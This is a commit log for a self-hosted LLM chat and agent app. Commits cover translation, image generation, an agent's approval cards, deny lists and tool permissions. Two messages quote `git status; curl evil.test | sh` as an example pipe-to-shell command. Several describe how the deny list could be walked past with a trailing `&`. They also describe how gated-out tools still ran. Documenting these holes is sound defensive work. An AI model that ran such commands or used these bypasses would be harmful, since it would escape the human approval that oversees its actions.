da43bc14596827d7920be6fc76ff9e29f43c6b3a
9
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
  HomerandClaude Opus 5
|
a16510aba8
|
The interface speaks Slovak
969 strings, an instance default and a per-person choice, and no half-done corner: the admin prose is translated too. Design and reasoning: LLeMbas.wiki/Translations. KEYED BY THE ENGLISH SENTENCE A missing entry renders the key, which is the English -- so an untranslated string looks as it always did, an English instance is byte-for-byte 1.6.0, and a half-finished catalogue is a half-translated page rather than a page of dotted key names. The cost is that editing an English sentence orphans its translation silently, which is what tests/test_translations.py asserts in both directions. No gettext: .po -> .mo is a build step and this project does not have one. A JINJA GLOBAL, AND THEREFORE A CONTEXTVAR `t()` is a global for the reason `brand` already documents -- render() is bypassed by 25 TemplateResponse calls and 8 get_template().render() calls, the latter being the SSE frames, which have no Request at all. A global is bound once at import and the language is per person, so the active language is a ContextVar set per request. 🚨 `get_current_user` had to become `async def`. FastAPI runs a sync dependency in a threadpool, and anyio copies the context in and discards it on the way out -- so the language was set where nothing could see it and every page rendered in the instance's language whatever anybody had chosen, with no error anywhere. NOT TRANSLATED, ON PURPOSE Everything a model reads: the 60 prompt fragments, and the dates in harness.py, schedule/runner.py and schedule/compile.py. Only `i18n.stamp` is localised, and only where a person reads it -- with the *format* translatable as well as the words, because "26. septembra 2026" is a different pattern rather than the same one with different words in it. A process locale is not an option: global, not thread-safe, two people's pages at once. A second fragment telling models to answer in the reader's language was written during this work and removed: `core.style` has said it since long before, and test_an_empty_override_turns_a_fragment_off caught the duplicate. THE BULK PASS 1213 sites wrapped by a one-off script that only touched patterns it could not misread. It got three wrong in a way that mattered -- `t('…')` inside `attr="…"` where the sentence held an apostrophe, closing the Jinja string and 500ing two pages whose partials no test renders. tests/test_translations.py now compiles all 110 templates. It also wrapped the product's own name, an SSH key header, a keystroke hint and an example URL, all taken back out: a string is not translatable just because it is a string. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
47d1ddbc3c |
Draw a picture, on a ComfyUI you are running
The last unbuilt capability, and built the way CLAUDE.md said it had to be: a
ToolDef reaching resolve_tools plus a permission and a capability flag, not a new
code path. The only genuinely new UI is one branch in the transcript.
services/images/ is three modules. comfy.py speaks HTTP -- submit, poll /history,
fetch the PNG, /free, and an /object_info discovery for the admin page only.
Polled and not socketed, because holding a connection open for the length of a
generation is the live-connection state the whole ssh.py design forbids, and the
thing being waited for takes tens of seconds anyway. The base URL is exempt from
the SSRF guard by construction, exactly as Connection.base_url and the audio
endpoints are -- said out loud in the docstring, because a default of
127.0.0.1:8188 is precisely the shape that guard exists to refuse and therefore
reads as a hole rather than a decision.
workflow.py fills a template, and the one thing that matters is that it walks the
parsed JSON rather than the text of it. A value that is exactly "{{steps}}"
becomes the number 20; ComfyUI validates types and refuses the string. A
placeholder inside a longer string is still text, which is what makes
"{{prompt}}, masterpiece" work -- and text substitution would additionally mean a
prompt containing a quotation mark produced a document that no longer parses, on
the one input guaranteed to hold arbitrary text. Which node holds the prompt is
the administrator's statement rather than a guess from node types: sniffing for
the first CLIPTextEncode works on the shipped workflow and on nothing else, and
swaps positive for negative the first time somebody reorders them. seed has no
fixed default, because one would make every unspecified generation identical and
make the retry loop redraw the same rejected picture four times.
tool.py is one call, one finished image. Returning every attempt to the
conversation would cost a round each, make the ceiling advisory rather than
enforced, and walk the reader past every reject -- so the reviewer lives inside
the tool and is asked about *bytes*: an attempt about to be discarded should not
leave an Attachment behind, so it sees a downscaled preview built in memory and
only the kept image is written. Anything that goes wrong in review is a keep;
losing a picture because a judging request timed out would be the check
destroying the thing it was checking. The last attempt is kept whatever the
verdict, so a request always produces something. Rejects are recorded, not
stored.
Preserve VRAM unloads the chat's own connection and nothing else, because the
memory being freed belongs to one machine: local llama-swap answers GET /unload,
and a box on the network has no reason to be unloaded when ComfyUI wants memory
here. The swap goes round the review rather than round the tool, which costs two
model loads per retry -- so the two settings are independent and the page warns
when both are on. Nothing loads the LLM back: the reply's next request does, and
that step exists in the description and not in the code, so the code says so.
Two rules elsewhere had to be drawn for the first time. message_payload sends
images only on user turns -- no assistant message had ever carried one, and the
moment one does the multimodal list form on an assistant turn is rejected by
OpenAI and most local runners, breaking every later turn in the chat. And
files.store gained keep_original, because _process_image turns anything without
alpha into JPEG q85 at 1400px: right for a phone photo, a visible loss on the one
output this feature exists to produce.
/image sends the ordinary message with force_tool, which becomes tool_choice for
the first round only -- left in place the reply would draw a picture, be asked
again, and draw another. FORCEABLE_TOOLS is an allow list because the name is
read off a form.
ToolContext gained chat_id, and that fixed a tool nobody had ever successfully
run: _run_scratch_write read context.chat_id on a dataclass with no such field,
so every call raised AttributeError, swallowed by run_tool's blanket except into
"the scratch_write tool failed" -- indistinguishable from a model calling it
wrongly. The test that existed asserted the family and the risk, which are
properties of the declaration rather than of the code.
Verified against the real ComfyUI 0.27.0 on this machine rather than against
documentation: every endpoint shape here was read off it, a generation ran end to
end through the client, the reviewer was shown a matching and a mismatched prompt
and answered KEEP and RETRY correctly, and the unload hook fired for the local
llama-swap and not for the remote box.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Jaroslav BenešandClaude Opus 5
|
e9546dcd1f |
A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
ab2e74974b |
Correcting a command before allowing it
An approval card was Allow, Always, or Don't. A model proposing the right command with one flag wrong therefore cost a whole round trip to explain in prose. There is an Edit button on it now. Where the edit lands is the whole of the feature, and it is one line. `arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and `run_tool` never re-parses -- so writing into it inside `_authorise` is the only mutation the runner can see. Editing the Item would do nothing: it is frozen and display-only. Two things had to move with it. The raw `call["arguments"]` string is rewritten beside the parsed dict, and the assistant turn is now built *after* `_authorise` rather than before it -- the old order told the model it ran what it proposed while something else ran, and every later round would have reasoned from a transcript that was quietly false. And `_remember_always` reads the edit, or "always allow this" would store a standing permission for a command nobody approved; it still derives the pattern itself through `policy.subject`, which yields nothing for a composed command line. Nothing is re-checked against the mode or the lists, and that is not a shortcut. The deny list resolves to ASK rather than to a refusal -- it means "always ask about this" -- so a person who has typed the command and pressed Allow is exactly the asking it was demanding, and re-asking would put the same card up with no way past it. It is the line the terminal panel already draws. The box is only offered where the detail *is* an argument and can be put back: a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary, and a box there would silently change nothing. Both halves are always in the DOM with one hidden, rather than the field being created on click -- a field that does not exist until a handler runs is a field that submits nothing if the handler fails, and this one decides what runs on somebody's machine. The transcript says "edited by you". Attributing somebody's own typing to a model is the same misattribution as the other way round. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
b03dfa24fd |
Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Jaroslav BenešandClaude Opus 5
|
3345df5b38 |
Change part of a file without rewriting it
file_write replaces a file entirely, so a model wanting to change one line either rewrote the whole thing from memory -- silently dropping everything it did not happen to recall -- or shelled out to sed. file_edit takes a unified diff instead, and services/agent/patch.py applies it. Four behaviours carry that module, and each exists because of how models actually write patches rather than how the format is specified. Fuzzy offset, exact content. A hunk header is a hint: models count from a truncated read or from the file as it was three edits ago and get the numbers wrong, and get the context lines right. So the hinted position is tried, then the file is scanned outward for an exact match of the context block. One match wins; more than one refuses, because guessing between two identical blocks is the one failure that silently corrupts a file. Line endings are normalised in and restored out, or every hunk on a CRLF file fails on context that looks identical in the error message. A blank context line that lost its leading space is read as blank, because trailing whitespace is stripped by half the things a model's output passes through. And nothing is written unless every hunk applies: a half-applied file is worse than a refused one, and the model cannot tell the difference without reading it again. It refuses a file this reply has not read, in those words. A patch written from memory either fails on context -- the good case -- or matches something it did not mean. AgentContext.read_paths records what was read; it lives there because runners never see a Generation and a read path is a fact about the machine, and it is shared with the approved copy because as_approved is dataclasses.replace, which copies field references. It resets each reply, and that is right rather than a limitation: tool_calls_json is never replayed, so on the next turn the model does not have the contents either. Writes and edits both render a git-style diff in the transcript now, escaped like everything else there and bounded at write time -- a generated file's diff can be larger than the file, and it sits on the row forever. That costs file_write one extra SFTP round trip to read the old contents, on the hottest agent operation, and it is a conscious trade: it is the difference between seeing what an agent did and having to go and look. It earns its keep twice, because that read also counts as having read the file. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
a58e48fce5 |
Say what a tool did, not where it ran
An agent event set its label to the SSH profile's name, so the transcript read "homeserver · ls -la" -- naming the machine rather than the thing that was done. Built-in tools set no label at all and fell back to the function name, so a saved memory read "memory_add". The status line said "Running shell_run…" and the approval card had its own hand-written wording. Four places, four answers, nothing checking that any of them agreed. services/tool_labels.py is the one table all of them read now. Bash, Read, Write, List, Web search, Memory saved; an icon each, instead of everything being the sparkle. The precedence is inverted on purpose. Tool events are persisted in Message.tool_calls_json, so every agent row already on disk carries the profile name -- a resolver that preferred the stored value would fix nothing for any transcript that already exists. So a name the table knows resolves from the table, and a name it does not -- a custom HTTP tool, an MCP tool, whose labels are per row and cannot be tabulated -- keeps its own. One rule, both cases correct. The machine moves to `detail`, where "where this ran" belongs. tool_label and tool_icon are Jinja globals because a message bubble is rendered from four handlers, and a fifth thing each of them must remember to pass is a fifth thing one of them will forget. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
d4cefb066a |
Custom HTTP tools an administrator defines
A row in custom_tools becomes a ToolDef like any built-in, offered beside the thirteen. The registry had to stop being an import-time constant for that: `resolve_tools` now returns the schemas *and* the runners together, carried to the loop on the ToolContext. That closes a hole on the way. `run_tool` looked names up in the global REGISTRY with no reference to what had been offered, so a model naming a tool its chat was gated out of -- a family switched off, a permission the reader lacks -- had it run anyway. The resolved set is now authoritative. Arguments come from a model, so an argument may fill a hole but never move the target: the scheme and host of a URL template are literal, values are escaped for where they land, and the origin is pinned afterwards. Every redirect hop is checked the way services/fetch.py checks one, and the secret is dropped if a hop leaves the origin it was issued for. Also fixes the tool-activity block claiming every library tool had "searched the web", which it has done since the second family landed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 4.8
|
436226370a |
PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.
**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.
**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.
**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.
**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.
Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.
Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.
338 tests, ruff clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|